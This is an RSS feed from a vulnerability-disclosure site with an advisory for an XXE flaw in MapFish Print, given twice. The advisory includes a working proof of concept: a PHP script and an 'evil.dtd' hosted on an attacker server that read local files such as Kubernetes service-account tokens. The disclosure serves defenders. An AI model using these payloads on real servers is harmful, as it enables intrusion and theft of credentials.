https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 08 Oct 2026 08:09:45 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-361775 EUVD-2026-361775 https://cve.radiocsirt.org/vuln/euvd-2026-361775 https://cve.radiocsirt.org/vuln/fkie_cve-2026-55848 <p>mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5.</p> <p>mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-55848 https://cve.radiocsirt.org/vuln/ghsa-5v29-34h8-v68r <p><strong>Affected:</strong> Maven: org.mapfish.print:print-lib, Maven: org.mapfish:print.print-servlet, Maven: org.mapfish.print:print-servlet</p> <p>### Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.</p> <p>https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507</p> <p>### Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.</p> <p>The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.</p> <p>### PoC Host this php file somewhere as xxe.php:</p> <p>``` &lt;?php $p=$_GET[&#39;p&#39;]; $d=dirname($_SERVER[&#39;SCRIPT_NAME&#39;]); $u=(empty($_SERVER[&#39;HTTPS&#39;])?&#39;http&#39;:&#39;https&#39;).&#34;://{$_SERVER[&#39;HTTP_HOST&#39;]}$d/evil.dtd&#34;; header(&#39;Content-Type: application/xml&#39;); echo &#34;&lt;?xml version=\&#34;1.0\&#34;?&gt; &lt;!DOCTYPE x [ &lt;!ENTITY % payload SYSTEM \&#34;file://$p\&#34;&gt; &lt;!ENTITY % dtd SYSTEM \&#34;$u\&#34;&gt; %dtd; ]&gt; &lt;wfs:FeatureCollection xmlns:wfs=\&#34;http://www.opengis.net/wfs\&#34; xmlns:gml=\&#34;http://www.opengis.net/gml\&#34;&gt; &lt;!-- &#34;.str_repeat(&#39;x&#39;,200).&#34; --&gt; &lt;gml:boundedBy&gt;&lt;gml:null&gt;unknown&lt;/gml:null&gt;&lt;/gml:boundedBy&gt; &lt;/wfs:FeatureCollection&gt;&#34;; ```</p> <p>and beneath host this &#34;evil.dtd&#34;</p> <p>`&lt;!ENTITY % exfil &#34;&lt;!ENTITY &amp;#37; error SYSTEM &#39;file:///xxe-exfil/%payload;&#39;&gt;&#34;&gt; %exfil; %error;`</p> <p>Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/tok…</p> <p><strong>Affected:</strong> Maven: org.mapfish.print:print-lib, Maven: org.mapfish:print.print-servlet, Maven: org.mapfish.print:print-servlet</p> <p>### Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.</p> <p>https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507</p> <p>### Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.</p> <p>The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.</p> <p>### PoC Host this php file somewhere as xxe.php:</p> <p>``` &lt;?php $p=$_GET[&#39;p&#39;]; $d=dirname($_SERVER[&#39;SCRIPT_NAME&#39;]); $u=(empty($_SERVER[&#39;HTTPS&#39;])?&#39;http&#39;:&#39;https&#39;).&#34;://{$_SERVER[&#39;HTTP_HOST&#39;]}$d/evil.dtd&#34;; header(&#39;Content-Type: application/xml&#39;); echo &#34;&lt;?xml version=\&#34;1.0\&#34;?&gt; &lt;!DOCTYPE x [ &lt;!ENTITY % payload SYSTEM \&#34;file://$p\&#34;&gt; &lt;!ENTITY % dtd SYSTEM \&#34;$u\&#34;&gt; %dtd; ]&gt; &lt;wfs:FeatureCollection xmlns:wfs=\&#34;http://www.opengis.net/wfs\&#34; xmlns:gml=\&#34;http://www.opengis.net/gml\&#34;&gt; &lt;!-- &#34;.str_repeat(&#39;x&#39;,200).&#34; --&gt; &lt;gml:boundedBy&gt;&lt;gml:null&gt;unknown&lt;/gml:null&gt;&lt;/gml:boundedBy&gt; &lt;/wfs:FeatureCollection&gt;&#34;; ```</p> <p>and beneath host this &#34;evil.dtd&#34;</p> <p>`&lt;!ENTITY % exfil &#34;&lt;!ENTITY &amp;#37; error SYSTEM &#39;file:///xxe-exfil/%payload;&#39;&gt;&#34;&gt; %exfil; %error;`</p> <p>Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/tok…</p> https://cve.radiocsirt.org/vuln/ghsa-5v29-34h8-v68r